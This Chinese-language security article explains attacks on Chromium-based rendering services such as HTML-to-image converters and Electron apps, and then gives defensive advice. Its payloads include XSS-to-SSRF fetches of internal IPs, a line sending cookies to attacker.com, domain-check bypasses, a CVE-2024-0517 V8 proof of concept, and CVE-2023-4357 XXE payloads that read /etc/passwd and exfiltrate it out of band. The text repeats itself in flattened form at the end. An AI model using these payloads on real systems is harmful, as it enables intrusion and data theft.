浅谈不同场景下的Chrome内核浏览器在攻防中的应用
字数 1325 2025-08-29 08:30:06

Chrome内核浏览器在攻防中的应用深度解析

一、Chrome内核应用场景概述

Chrome内核(Chromium)因其高性能和跨平台特性,被广泛应用于多种业务场景:

  1. 网页截图服务:将HTML内容渲染为图片
  2. 客户端内置浏览器:如钉钉、微信等应用内置浏览器
  3. Electron应用:VS Code、Slack等桌面应用
  4. 自动化测试工具:Playwright、Puppeteer等
  5. 网页转PDF/图片服务

二、典型漏洞场景分析

场景一:HTML转图片服务漏洞

常见实现方式

from fastapi import FastAPI
from playwright.async_api import async_playwright

app = FastAPI()
BROWSER = None

@app.on_event("startup")
async def startup_event():
    global BROWSER
    playwright = await async_playwright().start()
    BROWSER = await playwright.chromium.launch(
        args=['--disable-gpu', '--no-sandbox', '--disable-dev-shm-usage']
    )

@app.post("/generate-poster")
async def generate_poster(html_content: str):
    context = await BROWSER.new_context(java_script_enabled=True)
    page = await context.new_page()
    await page.set_content(html_content)
    screenshot = await page.screenshot(type="jpeg")
    return screenshot

攻击面分析

  1. XSS转SSRF

    • 通过注入JavaScript脚本实现内网探测
    • 示例Payload:
      {
        "html_str": "<script>(async()=>{const r=await fetch('http://192.168.1.1');document.body.innerHTML=await r.text();})();</script>"
      }
      
  2. 协议滥用

    • file://协议读取本地文件
    • javascript:伪协议绕过限制
      javascript://www.baidu.com/%250Aalert(1);/
      
  3. Meta标签跳转

    <meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
    
  4. 域名校验绕过技巧

    • 泛解析绕过:https://www.work.com.attacker.com
    • 反斜杠特性:https://attacker.com\.www.work.com

场景二:部分可控HTML渲染

当只能控制部分内容(如头像、介绍等)时:

  1. 探测技巧

    • <h1>test</h1>测试HTML注入
    • ``测试JS执行
  2. 无回显SSRF

    
    
  3. 带外数据回传

    fetch('http://attacker.com/?data='+btoa(document.cookie))
    

三、Chrome内核漏洞利用

1. 版本信息收集

方法一:User-Agent探测

<script>document.write(navigator.userAgent);</script>

方法二:通过API日志查看

2. 经典RCE漏洞利用

CVE-2020-6507 (Chrome <83.0.4103.106)

  • 漏洞类型:V8 Turbofan编译器优化错误导致越界写入
  • 利用条件:需配合沙箱逃逸
  • 关键点
    • 构造超长数组(>67108862)
    • 误导编译器移除边界检查
    • 篡改相邻数组长度实现内存破坏

CVE-2024-0517 (Chrome <120.0.6099.224)

  • 漏洞类型:继承类构造函数中的堆破坏
  • POC
class ClassParent {}
class ClassBug extends ClassParent {
  constructor() {
    const v24 = new new.target();
    super();
    let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
  }
  [1000] = 8;
}
for (let i = 0; i < 300; i++) {
  Reflect.construct(ClassBug, [], ClassParent);
}

3. XXE漏洞利用(CVE-2023-4357)

影响版本:Chrome <116.0.5845.96

直接SVG利用

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div>&passwd;</div>
    </body>
  </xsl:template>
</xsl:stylesheet>

带外数据外传

<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfiltrate;

HTML嵌套利用技巧

{
  "content": "<object type='image/svg+xml' data='data:image/svg+xml;base64,[BASE64_PAYLOAD]'>",
  "width": 500,
  "height": 1000
}

四、防御建议

  1. 输入验证

    • 严格限制HTML内容大小(如<1MB)
    • 禁用危险标签(script, meta, object等)
    • 使用白名单过滤HTML标签和属性
  2. 浏览器配置

    context = await BROWSER.new_context(
      java_script_enabled=False,  # 禁用JS
      bypass_csp=False,
      ignore_https_errors=False
    )
    
  3. 安全策略

    • 启用沙箱模式(--no-sandbox应避免使用)
    • 设置严格CSP策略
      <meta http-equiv="Content-Security-Policy" 
            content="default-src 'self'; script-src 'none'">
      
  4. 网络限制

    • 禁止访问内网IP段
    • 限制允许的协议(禁用file://, javascript:等)
  5. 更新维护

    • 定期更新Chromium内核版本
    • 监控CVE公告并及时修补

五、实战技巧总结

  1. 迂回探测:当直接注入被过滤时,尝试通过合法功能间接引入恶意代码
  2. 协议探测:测试file://, ftp://, javascript:等协议是否可用
  3. 错误利用:通过触发错误信息泄露获取敏感数据
  4. 组合利用:将XSS与SSRF结合,突破网络限制
  5. 客户端定位:重点测试Electron应用、客户端内置浏览器等更新不及时的场景

通过深入理解Chrome内核在各种场景中的应用方式及其安全特性,攻击者可以发掘更多攻击面,防御者也能更有针对性地构建防护措施。

Chrome内核浏览器在攻防中的应用深度解析 一、Chrome内核应用场景概述 Chrome内核(Chromium)因其高性能和跨平台特性,被广泛应用于多种业务场景: 网页截图服务 :将HTML内容渲染为图片 客户端内置浏览器 :如钉钉、微信等应用内置浏览器 Electron应用 :VS Code、Slack等桌面应用 自动化测试工具 :Playwright、Puppeteer等 网页转PDF/图片服务 二、典型漏洞场景分析 场景一:HTML转图片服务漏洞 常见实现方式 攻击面分析 XSS转SSRF 通过注入JavaScript脚本实现内网探测 示例Payload: 协议滥用 file:// 协议读取本地文件 javascript: 伪协议绕过限制 Meta标签跳转 域名校验绕过技巧 泛解析绕过: https://www.work.com.attacker.com 反斜杠特性: https://attacker.com\.www.work.com 场景二:部分可控HTML渲染 当只能控制部分内容(如头像、介绍等)时: 探测技巧 <h1>test</h1> 测试HTML注入 `` 测试JS执行 无回显SSRF 带外数据回传 三、Chrome内核漏洞利用 1. 版本信息收集 方法一:User-Agent探测 方法二:通过API日志查看 2. 经典RCE漏洞利用 CVE-2020-6507 (Chrome <83.0.4103.106) 漏洞类型 :V8 Turbofan编译器优化错误导致越界写入 利用条件 :需配合沙箱逃逸 关键点 : 构造超长数组(>67108862) 误导编译器移除边界检查 篡改相邻数组长度实现内存破坏 CVE-2024-0517 (Chrome <120.0.6099.224) 漏洞类型 :继承类构造函数中的堆破坏 POC : 3. XXE漏洞利用(CVE-2023-4357) 影响版本 :Chrome <116.0.5845.96 直接SVG利用 带外数据外传 HTML嵌套利用技巧 四、防御建议 输入验证 严格限制HTML内容大小(如 <1MB) 禁用危险标签( script , meta , object 等) 使用白名单过滤HTML标签和属性 浏览器配置 安全策略 启用沙箱模式( --no-sandbox 应避免使用) 设置严格CSP策略 网络限制 禁止访问内网IP段 限制允许的协议(禁用file://, javascript:等) 更新维护 定期更新Chromium内核版本 监控CVE公告并及时修补 五、实战技巧总结 迂回探测 :当直接注入被过滤时,尝试通过合法功能间接引入恶意代码 协议探测 :测试file://, ftp://, javascript:等协议是否可用 错误利用 :通过触发错误信息泄露获取敏感数据 组合利用 :将XSS与SSRF结合,突破网络限制 客户端定位 :重点测试Electron应用、客户端内置浏览器等更新不及时的场景 通过深入理解Chrome内核在各种场景中的应用方式及其安全特性,攻击者可以发掘更多攻击面,防御者也能更有针对性地构建防护措施。